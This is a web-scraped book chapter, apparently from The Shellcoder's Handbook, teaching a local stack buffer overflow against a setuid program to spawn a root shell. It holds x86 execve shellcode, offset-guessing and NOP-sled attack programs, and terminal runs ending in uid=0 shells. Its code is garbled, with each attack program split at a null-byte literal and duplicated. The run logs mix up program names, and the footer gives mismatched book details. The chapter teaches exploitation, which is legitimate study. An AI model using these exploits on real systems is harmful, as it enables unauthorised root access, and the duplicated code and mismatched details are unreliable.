Using an Exploit to Get Root Privileges

Now it is time to do something useful with the vulnerability you have just exploited. Forcing overflow.c to ask for input twice instead of once is a neat trick, but hardly something you would want to tell your friends about"Hey, guess what, I caused a 15-line C program to ask for input twice !" No, we want you to be cooler than that.

This type of overflow is commonly used to gain root ( uid 0 ) privileges. We can do this by attacking a process that is running as root. You force it to execve a shell that inherits its permissions. If the process is running as root, you will have a root shell. This type of local overflow is increasingly popular because more and more programs do not run as rootafter they are exploited, you often must use a local exploit to get root-level access.

Spawning a root shell is not the only thing we can do when exploiting a vulnerable program. Many subsequent chapters in this book cover exploitation methods other than root shell spawning. Suffice it to say, a root shell is still one of the most common exploitations and the easiest to understand.

Be careful, though. The code to spawn a root shell makes use of the execve system call. What follows is a C++ language code for spawning a shell:

 int main(){   char *name[2];       name[0] = "/bin/sh";   name[1] = 0x0;   execve(name[0], name, 0x0);   exit(0); } 

If we compile this code and run it, we can see that it will spawn a shell for us.

 [jack@0day local]$ gcc shell.c -o shell [jack@0day local]$ ./shell sh-2.05b# 

You might be thinking, this is great, but how do I inject C source code into a vulnerable input area? Can we just type it in like we did previously with the A characters ? The answer is no. Injecting C source code is much more difficult than that. We will have to inject actual machine instructions, or opcode , into the vulnerable input area. To do so, we must convert our shell-spawning code to assembly, and then extract the opcodes from our human-readable assembly. We will then have what is termed shellcode , or the opcode that can be injected into a vulnerable input area and executed. This is a long and involved process, and we have dedicated several chapters in this book to it.

We won't go into great detail about how the shellcode is created from the C++ code; it is quite an involved process and explained completely in Chapter 3.

Let's take a look at the shellcode representation of the shell-spawning C++ code we previously ran.

 "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1" "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 

Let's test it to make sure it does the same thing as the C code. Compile the following code, which should allow us to execute the shellcode:

 char shellcode[] =             "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"  "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"         "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";          int main() {       int *ret;   ret = (int *)&ret + 2;   (*ret) = (int)shellcode; } 

Now run the program.

 [jack@0day local]$ gcc shellcode.c -o shellcode [jack@0day local]$ ./shellcode sh-2.05b# 

Ok, great, we have the shell-spawning shellcode that we can inject into a vulnerable buffer. That was the easy part. In order for our shellcode to be executed, we must gain control of execution. We will use a strategy similar to that in the previous example, where we forced an application to ask for input a second time. We will overwrite RET with the address of our choosing, causing the address we supplied to be loaded into EIP and subsequently executed. What address will we use to overwrite RET ? Well, we will overwrite it with the address of the first instruction in our injected shellcode. In this way, when RET is popped off the stack and loaded into EIP , the first instruction that is executed is the first instruction of our shellcode.

While this whole process may seem simple, it is actually quite difficult to execute in real life. This is the place in which most people learning to hack for the first time get frustrated and give up. We will go over some of the major problems and hopefully keep you from getting frustrated along the way.

The Address Problem

One of the most difficult tasks you face when trying to execute user -supplied shellcode is identifying the starting address of your shellcode. Over the years , many different methods have been contrived to solve this problem. We will cover the most popular method that was pioneered in the paper, "Smashing the Stack."

One way to discover the address of our shellcode is to guess where the shellcode is in memory. We can make a pretty educated guess, because we know that for every program, the stack begins with the same address. If we know what this address is, we can attempt to guess how far from this starting address our shellcode is.

It is fairly easy to write a simple program to tell us the location of the stack pointer ( ESP ). Once we know the address of ESP , we simply need to guess the distance, or offset , from this address. The offset will be the first instruction in our shellcode.

First, we find the address of ESP .

 unsigned long find_start(void){   __asm__("movl %esp, %eax"); } int main(){    printf("0x%x\n",find_start()); } 

Now we create a little program to exploit.

 int main(int argc,char **argv[]){     char little_array[512];       if (argc > 1)       strcpy(little_array,argv[1]); } 

This simple program takes command-line input and puts it into an array with no bounds-checking. In order to get root privileges, we must set this program to be owned by root , and turn the suid bit on. Now, when you log in as a regular user (not root ) and exploit the program, you should end up with root access.

 [jack@0day local]$ sudo chown root victim [jack@0day local]$ sudo chmod +s victim 

Now, we'll construct a program that allows us to guess the offset between the start of our program and the first instruction in our shellcode. (The idea for this example has been borrowed from Lamagra.)

 #include <stdlib.h> #define offset_size                    0 #define buffer_size                    512     char sc[] =   "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"   "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"   "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";     unsigned long find_start(void) {    __asm__("movl %esp,%eax"); }     int main(int argc, char *argv[])  {   char *buff, *ptr;   long *addr_ptr, addr;   int offset=offset_size, bsize=buffer_size;   int i;       if (argc > 1) bsize  = atoi(argv[1]);   if (argc > 2) offset = atoi(argv[2]);       addr = find_start() - offset;   printf("Attempting address: 0x%x\n", addr);       ptr = buff;   addr_ptr = (long *) ptr;   for (i = 0; i < bsize; i+=4)        *(addr_ptr++) = addr;       ptr += 4;       for (i = 0; i < strlen(sc); i++)           *(ptr++) = sc[i];       buff[bsize - 1] = ' 
 #include <stdlib.h> #define offset_size 0 #define buffer_size 512 char sc[] = "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1" "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; unsigned long find_start(void) { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=offset_size, bsize=buffer_size; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); addr = find_start() - offset; printf("Attempting address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr += 4; for (i = 0; i < strlen(sc); i++) *(ptr++) = sc[i]; buff[bsize - 1] = '\0'; memcpy (buff,"BUF=",4); putenv(buff); system("/bin/bash"); } 
'; memcpy(buff,"BUF=",4); putenv(buff); system("/bin/bash"); }

To exploit the program, generate the shellcode with return address, and then run the vulnerable program using the output of the shellcode generating program. Assuming we don't cheat, we have no way of knowing the correct offset, so we must guess repeatedly until we get the spawned shell.

 [jack@0day local]$ ./attack 500 Using address: 0xbfffd768 [jack@0day local]$ ./victim $BUF 

Ok, nothing happened . That's because we didn't build an offset large enough (remember, our array is 512 bytes).

 [jack@0day local]$ ./attack 800 Using address: 0xbfffe7c8 [jack@0day local]$ ./victim $BUF Segmentation fault 

What happened here? We went too far, and we generated an offset that was too large.

 [jack@0day local]$ ./attack 550 Using address: 0xbffff188 [jack@0day local]$ ./victim $BUF Segmentation fault [jack@0day local]$ ./attack 575 Using address: 0xbfffe798 [jack@0day local]$ ./victim $BUF Segmentation fault [jack@0day local]$ ./attack 590 Using address: 0xbfffe908 [jack@0day local]$ ./victim $BUF Illegal instruction 

It looks like attempting to guess the correct offset could take forever. Maybe we'll be lucky with this attempt:

 [jack@0day local]$ ./attack 595 Using address: 0xbfffe971 [jack@0day local]$ ./victim $BUF Illegal instruction [jack@0day local]$ ./attack 598 Using address: 0xbfffe9ea [jack@0day local]$ ./victim $BUF Illegal instruction [jack@0day local]$ ./exploit1 600 Using address: 0xbfffea04 [jack@0day local]$ ./hole $BUF sh-2.05b# id uid=0(root) gid=0(root) groups=0(root),10(wheel) sh-2.05b# 

Wow, we guessed the correct offset and the root shell spawned. Actually it took us many more tries than we've shown here (we cheated a little bit, to be honest), but they have been edited out to save space.

Warning 

We ran this code on a Red Hat 9.0 box. Your results may be different depending on the distribution, version, and many other factors.

Exploiting programs in this manner can be tedious . We must continue to guess what the offset is, and sometimes, when we guess incorrectly, the program crashes. That's not a problem for a small program like this, but restarting a larger application can take time and effort. In the next section, we'll examine a better way of using offsets.

The NOP Method

Determining the correct offset manually can be difficult. What if it were possible to have more than one target offset? What if we could design our shellcode so that many different offsets would allow us to gain control of execution? This would surely make the process less time consuming and more efficient, wouldn't it?

We can use a technique called the NOP Method to increase the number of potential offsets. No Operations (NOPs) are instructions that delay execution for a period of time. NOPs are chiefly used for timing situations in assembly, or in our case, to create a relatively large section of instructions that does nothing. For our purposes, we will fill the beginning of our shellcode with NOPs. If our offset "lands" anywhere in this NOP section, our shell-spawning shellcode will eventually be executed after the processor has executed all of the do-nothing NOP instructions. Now, our offset only has to point somewhere in this large field of NOPs, meaning we don't have to guess the exact offset. This process is referred to as padding with NOPs , or creating a NOP pad . You will hear these terms again and again when delving deeper into hacking.

Let's rewrite our attacking program to generate the famous NOP pad prior to appending our shellcode and the offset. The instruction that signifies a NOP on IA32 chipsets is 0x90 . (There are many other instructions and combinations of instructions that can be used to create a similar NOP effect, but we won't get into these in this chapter.)

 #include <stdlib.h>  #define DEFAULT_OFFSET                    0  #define DEFAULT_BUFFER_SIZE             512  #define NOP                            0x90      char shellcode[] =          "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"      "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"      "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";     unsigned long get_sp(void) {    __asm__("movl %esp,%eax"); }     void main(int argc, char *argv[])  {   char *buff, *ptr;   long *addr_ptr, addr;   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;   int i;       if (argc > 1) bsize  = atoi(argv[1]);   if (argc > 2) offset = atoi(argv[2]);       if (!(buff = malloc(bsize))) {         printf("Can't allocate memory.\n");         exit(0);   }       addr = get_sp() - offset;   printf("Using address: 0x%x\n", addr);       ptr = buff;   addr_ptr = (long *) ptr;   for (i = 0; i < bsize; i+=4)          *(addr_ptr++) = addr;       for (i = 0; i < bsize/2; i++)          buff[i] = NOP;       ptr = buff + ((bsize/2) - (strlen(shellcode)/2));   for (i = 0; i < strlen(shellcode); i++)          *(ptr++) = shellcode[i];       buff[bsize - 1] = ' 
 #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1" "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"BUF=",4); putenv(buff); system("/bin/bash"); } 
'; memcpy(buff,"BUF=",4); putenv(buff); system("/bin/bash"); }

Let's run our new program against the same target code and see what happens.

 [jack@0day local]$ ./nopattack 600 Using address: 0xbfffdd68 [jack@0day local]$ ./victim $BUF sh-2.05b# id uid=0(root) gid=0(root) groups=0(root),10(wheel) sh-2.05b# 

Ok, we knew that offset would work. Let's try some others.

 [jack@0day local]$ ./nopattack 590 Using address: 0xbffff368 [jack@0day local]$ ./victim $BUF sh-2.05b# id uid=0(root) gid=0(root) groups=0(root),10(wheel) sh-2.05b# 

We landed in the NOP pad, and it worked just fine. How far can we go?

 [jack@0day local]$ ./nopattack 585 Using address: 0xbffff1d8 [jack@0day local]$ ./victim $BUF sh-2.05b# id uid=0(root) gid=0(root) groups=0(root),10(wheel) sh-2.05b# 

We can see with just this simple example that we have 1525 times more possible targets than without the NOP pad.



The Shellcoder's Handbook. Discovering and Exploiting Security
Hacking Ubuntu: Serious Hacks Mods and Customizations (ExtremeTech)
ISBN: N/A
EAN: 2147483647
Year: 2003
Pages: 198
Authors: Neal Krawetz

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net